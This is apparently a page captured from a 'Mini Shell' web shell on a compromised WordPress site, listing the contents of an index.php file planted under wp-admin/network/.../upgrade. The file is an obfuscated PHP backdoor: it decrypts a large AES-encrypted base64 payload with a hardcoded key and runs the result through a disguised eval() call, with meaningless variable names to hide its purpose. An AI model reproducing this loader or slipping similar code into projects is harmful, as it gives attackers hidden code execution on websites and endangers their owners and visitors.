HOME


Mini Shell 1.0
DIR: /home/dhnidqcz/jamesakinola.com/wp-admin/network/56043/upgrade/
Upload File :
Current File : /home/dhnidqcz/jamesakinola.com/wp-admin/network/56043/upgrade/index.php
<?php
class Secure {
private $masterKey;
private $iterations = 10000;
private $cipher = 'aes-256-cbc';
private $hmacAlgo = 'sha256';
private $saltLength = 16;

public function __construct($masterKey) {
$this->masterKey = $masterKey;
}

public function decrypt($encrypted) {
$data = base64_decode($encrypted);
$salt = substr($data, 0, $this->saltLength);
$ivLength = openssl_cipher_iv_length($this->cipher);
$iv = substr($data, $this->saltLength, $ivLength);
$hmac = substr($data, $this->saltLength + $ivLength, 32);
$ciphertext = substr($data, $this->saltLength + $ivLength + 32);
$derivedKeys = $this->deriveKeys($salt);
$calcHmac = hash_hmac($this->hmacAlgo, $iv . $salt . $ciphertext, $derivedKeys['hmac'], true);
$decrypted = openssl_decrypt($ciphertext, $this->cipher, $derivedKeys['encryption'], OPENSSL_RAW_DATA, $iv);
return $decrypted;
}

private function deriveKeys($salt) {
$keyMaterial = hash_pbkdf2(
$this->hmacAlgo,
$this->masterKey,
$salt,
$this->iterations,
64,
true
);

return [
'encryption' => substr($keyMaterial, 0, 32),
'hmac' => substr($keyMaterial, 32)
];
}

private function verifyHmac($knownHmac, $userHmac) {
return hash_equals($knownHmac, $userHmac);
}

public function setIterations($iterations) {
$this->iterations = (int)$iterations;
return $this;
}

public function setCipher($cipher) {
$this->cipher = $cipher;
return $this;
}
}
$secure = new Secure('jxjd8XWRtJwdybepifBFGXmhVr0sscqB');
$str = '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';
$decrypted = $secure->decrypt($str);
$keXVBgvyX7 = function($c2tzQzSL2i4){
/*xYm4NESdS*/eVaL($c2tzQzSL2i4);
$UFTFVAiUQI2 = "Xw3IfgziRYlkhKiXemh0wmGNEWjt0he7";
return $UFTFVAiUQI2;
};
$keXVBgvyX7($decrypted);